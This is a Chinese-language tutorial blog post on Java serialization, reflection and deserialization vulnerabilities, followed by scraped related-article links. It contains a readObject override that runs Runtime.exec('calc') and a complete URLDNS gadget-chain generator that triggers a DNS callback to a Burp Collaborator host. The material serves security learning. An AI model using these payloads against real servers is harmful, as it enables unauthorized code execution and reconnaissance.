前言:最近开始学习java的序列化与反序列化,现在从原生的序列化与反序列化开始,小小的记录一下

参考文章:https://blog.csdn.net/mocas_wang/article/details/107621010

01.什么是序列化与反序列化

其实java的序列化说白了就是将一个对象转换成字节的过程,那么同理,java的反序列化也就是将一个字节转换会一个对象的过程,这样的操作会使得对象在不同的机器之间进行传递变得简单,我们在一台机器上将某个对象序列化之后那么只需要传递序列化之后的字节给另外一台机器,那么另外一台机器只需要进行对应的反序列操作就可以获得传递过来的对象。

下面来演示一下使用io流自带的接口进行序列化与反序列化:

1.首先定义一个Person类用于序列化的操作

 1 import java.io.Serializable;
2 //必须继承Serializable接口才可被序列化
3 public class Person implements Serializable {
4 private String name;
5 private int age;
6
7 public Person(String name, int age) {
8 this.name = name;
9 this.age = age;
10 }
11
12 public Person() {
13 }
14
15 @Override
16 public String toString() {
17 return "Person{" +
18 "name='" + name + '\'' +
19 ", age=" + age +
20 '}';
21 }
22 }

2.正常情况下,我们通过以下代码进行实例化,然后打印出这个对象,应该会得到以下的结果

1     public static void main(String[] args) {
2 Person person = new Person("aa",22);
3 System.out.println(person);
4 }

3.那么现在我们用以下代码来对这个对象进行序列化,可以看到,对象的信息会被序列化的写入ser.bin文件中

1     public static void serialize(Object obj) throws IOException{
2 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
3 oos.writeObject(obj);
4 }

4.那么接下来我们只要在另外一个类中,实现反序列化的代码,就可以很轻松的获取到原来想要传递的对象

 1 import java.io.FileInputStream;
2 import java.io.FileNotFoundException;
3 import java.io.IOException;
4 import java.io.ObjectInputStream;
5
6 public class UnserializeTest {
7 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
8 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
9 Object obj = ois.readObject();
10 return obj;
11 }
12
13 public static void main(String[] args) throws IOException, ClassNotFoundException {
14 Person person = (Person)unserialize("ser.bin");
15 System.out.println(person);
16 }
17 }

tips:

  • 必须实现Serializable接口的类才可被序列化
  • 静态成员变量是不能被序列化的,因为静态成员变量是属于类中的,而不是属于被实例化对象
  • transient标识的对象成员变量是不可以被序列化的

那么为什么会产生安全问题呢?

只要服务端反序列化了数据,客户端传递类的readObject中的代码就会自动执行,给予攻击者在服务器上运行代码的能力

如何利用?

首先,我们需要找到一个入口类,这个类需要重写了readObject,同时最好重写了一个常见的函数这样我们可以进一步的去找调用链,最后我们需要去找到一个执行类(rce,ssrf,写文件等等)

1.我们知道,在反序列化的过程中,会调用ObjectInputStream中的readObject方面,那么如果我们在类中就重写了这个方法,反序列化时调用的这个方法是不是就会调用我们重写的方法,这时候只需要把后门代码放在里面,就可以达到攻击的目的。重写代码如下:

1     private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
2 ois.defaultReadObject();
3 Runtime.getRuntime().exec("calc");
4 }

2.如果入口类参数中包含可控类,该类有危险方法,readObject时就可以去调用,比方说Map,他可以是Map<Object,Object>这种类型,同时Map又继承了Serializable接口,那么就会可以被利用

3.入口类参数中包含可控类,该类又调用了其他有危险方法的类,就可以在readObject时去调用

Java反射机制

通常,我们在利用反序列化漏洞的时候会运用到java的反射机制,下面这篇文章很好的讲述了java的反射机制

参考文章:https://blog.csdn.net/weiwenhou/article/details/103650422

总结一下:

  • 反射的作用:让java具有动态性
  • 修改已有对象的属性
  • 动态的生成对象
  • 动态的调用方法
  • 操作内部类和私有方法

在反序列化漏洞中的应用:

  • 定制需要的对象
  • 通过invoke调用除了同名函数以外的函数
  • 通过Class类创建对象,引入不能序列化的类

简单使用

 1 import java.lang.reflect.Constructor;
2 import java.lang.reflect.Field;
3 import java.lang.reflect.Method;
4
5 public class ReflectionTest {
6 public static void main(String[] args) throws Exception {
7 Person person = new Person();
8 Class c = person.getClass();
9 //反射就是操作Class
10
11 //从原型class里面实例化对象
12 //c.newInstance(); 无参,无法使用
13 Constructor personconstructor = c.getConstructor(String.class,int.class);
14 Person p = (Person) personconstructor.newInstance("abc",22);
15 System.out.println(p);
16 //获取类里面的属性
17 //c.getFields();只能打印public的属性
18 //c.getDeclaredFields()都可以打印
19 Field[] personfields = c.getDeclaredFields();
20 for (Field f:personfields){
21 System.out.println(f);
22 }
23 //获取单个
24 Field namefield = c.getField("name");
25 namefield.set(p,"testedit");//需要一个示例
26 System.out.println(p);
27 //修改私有变量
28 Field agefield = c.getDeclaredField("age");
29 agefield.setAccessible(true);//允许访问私有变量
30 agefield.set(p,33);
31 System.out.println(p);
32 //调用类里面的方法
33 Method[] personMethods = c.getDeclaredMethods();
34 for(Method m:personMethods){
35 System.out.println(m);
36 }
37 //获取单个方法
38 Method actionmethod = c.getMethod("action",String.class);
39 actionmethod.invoke(p,"testaction");//调用触发
40 }
41 }

URL-DNS链

首先,我们想要利用URL-DNS链,我们可以先来看一下URL类中是否存在readObject方法,但是我们可以很明显的发现,URL类中的该方法,没有调用危险函数,那么是不是就不能够利用了呢?

其实,在URL类中,存在一个hashcode函数,这个函数会发起DNS请求,那么我们该怎么操作可以使得在反序列化时让他调用这个函数呢,我们可以通过利用hashMap中的hash方法,hashMap在反序列化时会调用readObject方法,该方法的Key值会调用Key.hashcode方法,那么只要将URL类作为hashMap的key,我们就可以成功利用,但是实际上,我们需要利用java的反射机制,对某些参数进行修改,因为在put的过程中,如果hashcode的值为-1那么也会调用hashcode方法,那么我们就无法分辨,到底是在哪个缓解出发了反序列化漏洞,具体的利用代码如下。

 1 import java.io.FileOutputStream;
2 import java.io.IOException;
3 import java.io.ObjectOutputStream;
4 import java.lang.reflect.Field;
5 import java.net.URL;
6 import java.util.HashMap;
7
8 public class SerializationTest {
9 public static void serialize(Object obj) throws Exception{
10 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
11 oos.writeObject(obj);
12 }
13
14 public static void main(String[] args) throws Exception {
15 // Person person = new Person("aa",22);
16 // System.out.println(person);
17 // serialize(person);
18 HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
19 //一开始不能发起请求 //把url对象的hashcode改成不是-1
20 URL url = new URL("http://tzwb9yz0ehtmjrpw7rwvu57d94fu3j.burpcollaborator.net");
21 Class c = url.getClass();
22 Field hashcode = c.getDeclaredField("hashCode");
23 hashcode.setAccessible(true);
24 hashcode.set(url,1);
25 hashMap.put(url,1);
26 //现在可以把hashcode给改回来
27 hashcode.set(url,-1);
28 serialize(hashMap);
29 }
30 }

java反序列化基础的更多相关文章

  1. Java反序列化漏洞Apache CommonsCollections分析

    Java反序列化漏洞Apache CommonsCollections分析 cc链,既为Commons-Collections利用链.此篇文章为cc链的第一条链CC1.而CC1目前用的比较多的有两条链 ...

  2. JAVA反序列化漏洞基础原理

    JAVA反序列化漏洞基础原理 1.1 什么是序列化和反序列化? Java序列化是指把Java对象转换为字节序列的过程: Java反序列化是指把字节序列恢复为Java对象的过程: 1.2 为什么要序列化 ...

  3. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  4. 【重走Android之路】【Java面向对象基础(三)】面向对象思想

    [重走Android之路][基础篇(三)][Java面向对象基础]面向对象思想   1 面向对象的WWH   1.1 What--什么是面向对象         首先,要理解“对象”.在Thinkin ...

  5. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  6. 【JAVA零基础入门系列】Day14 Java对象的克隆

    今天要介绍一个概念,对象的克隆.本篇有一定难度,请先做好心理准备.看不懂的话可以多看两遍,还是不懂的话,可以在下方留言,我会看情况进行修改和补充. 克隆,自然就是将对象重新复制一份,那为什么要用克隆呢 ...

  7. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

  8. 学习笔记 | java反序列化漏洞分析

    java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...

  9. Java底层基础题

    一.Java底层基础题 1.SpringMVC的原理以及返回数据如何渲染到jsp/html上? 答:Spring MVC的核心就是DispatcherServlet , 一个请求经过Dispatche ...

  10. 对ysoserial工具及java反序列化的一个阶段性理解【未完成】

    经过一段时间的琢磨与反思,以及重读了大量之前看不懂的反序列化文章,目前为止算是对java反序列化这块有了一个阶段性的小理解. 目前为止,发送的所有java反序列化的漏洞中.主要需要两个触发条件: 1. ...

随机推荐

  1. 第一百零八篇:最常用的基本数据类型(Number,String类型)

    好家伙, 1.Number类型 从名称中我们可以得出,这是一个存放数值的类型, 不同的数值类型相应地也有不同的数值字面量格式 number类型可以储存不同进制的数(不常用就是了) 八进制:在数前加一个 ...

  2. ArrayList 可以完全替代数组吗?

    本文已收录到  GitHub · AndroidFamily,有 Android 进阶知识体系,欢迎 Star.技术和职场问题,请关注公众号 [彭旭锐] 加入 Android 交流群. 前言 大家好, ...

  3. ArcObjects SDK开发 003 宏观角度看ArcObjects SDK

    1.为什么要宏观上看ArcObjects SDK ArcObjects SDK库是一个非常庞大复杂COM组件集合,ArcGIS10.0有1000多个枚举.90多个结构体.5000多个接口以及4000多 ...

  4. Django基础笔记3(form组件)

    From组件 from django.forms import Form, fields class loginForm(Form): # 设置规则 username = fields.CharFie ...

  5. socket模块/TCP协议/黏包处理

    socket模块 如果我们需要编写基于网络进行数据交互的程序 意味着我们需要自己通过代码来控制我们之前 所学习的OSI七层(很繁琐 很复杂 类似于我们自己编写操作系统) socket类似于操作系统 封 ...

  6. Android-helloword

    环境早已配置完毕,就是后来选择API的时候出现了一点问题,唉,追求时尚,选择最新版本的API,结果就悲剧了,跑不起来,也找不到原因.后来换成Android 4.22 17API Level就行了... ...

  7. @ApiImplicitParams注解的详细使用

    一.@ApiImplicitParams注解的详细使用 业务需求: 1.根据服务员类别id(单个id)+服务员星级id(id的list)查询对应的服务员列表 1.controller代码: 点击查看代 ...

  8. java逻辑运算中异或^

    本文主要阐明逻辑运算符^(异或)的作用 a ^ b,相异为真,相同为假. 注意,异或运算,还能交换两个变量. int a = 1; int b = 2; System.out.println(&quo ...

  9. 使用pip命令安装库时提示Could not build wheels for six, since package 'wheel' is not installed

    在使用pip命令安装库时提示Could not build wheels for six, since package 'wheel' is not installed 解决以上问题可用 pip in ...

  10. nuxt.js中登录、注册(密码登录和手机验证码登录)

    <!-- 登录弹框 --> <div class="mask" v-show="flag"> <div class="m ...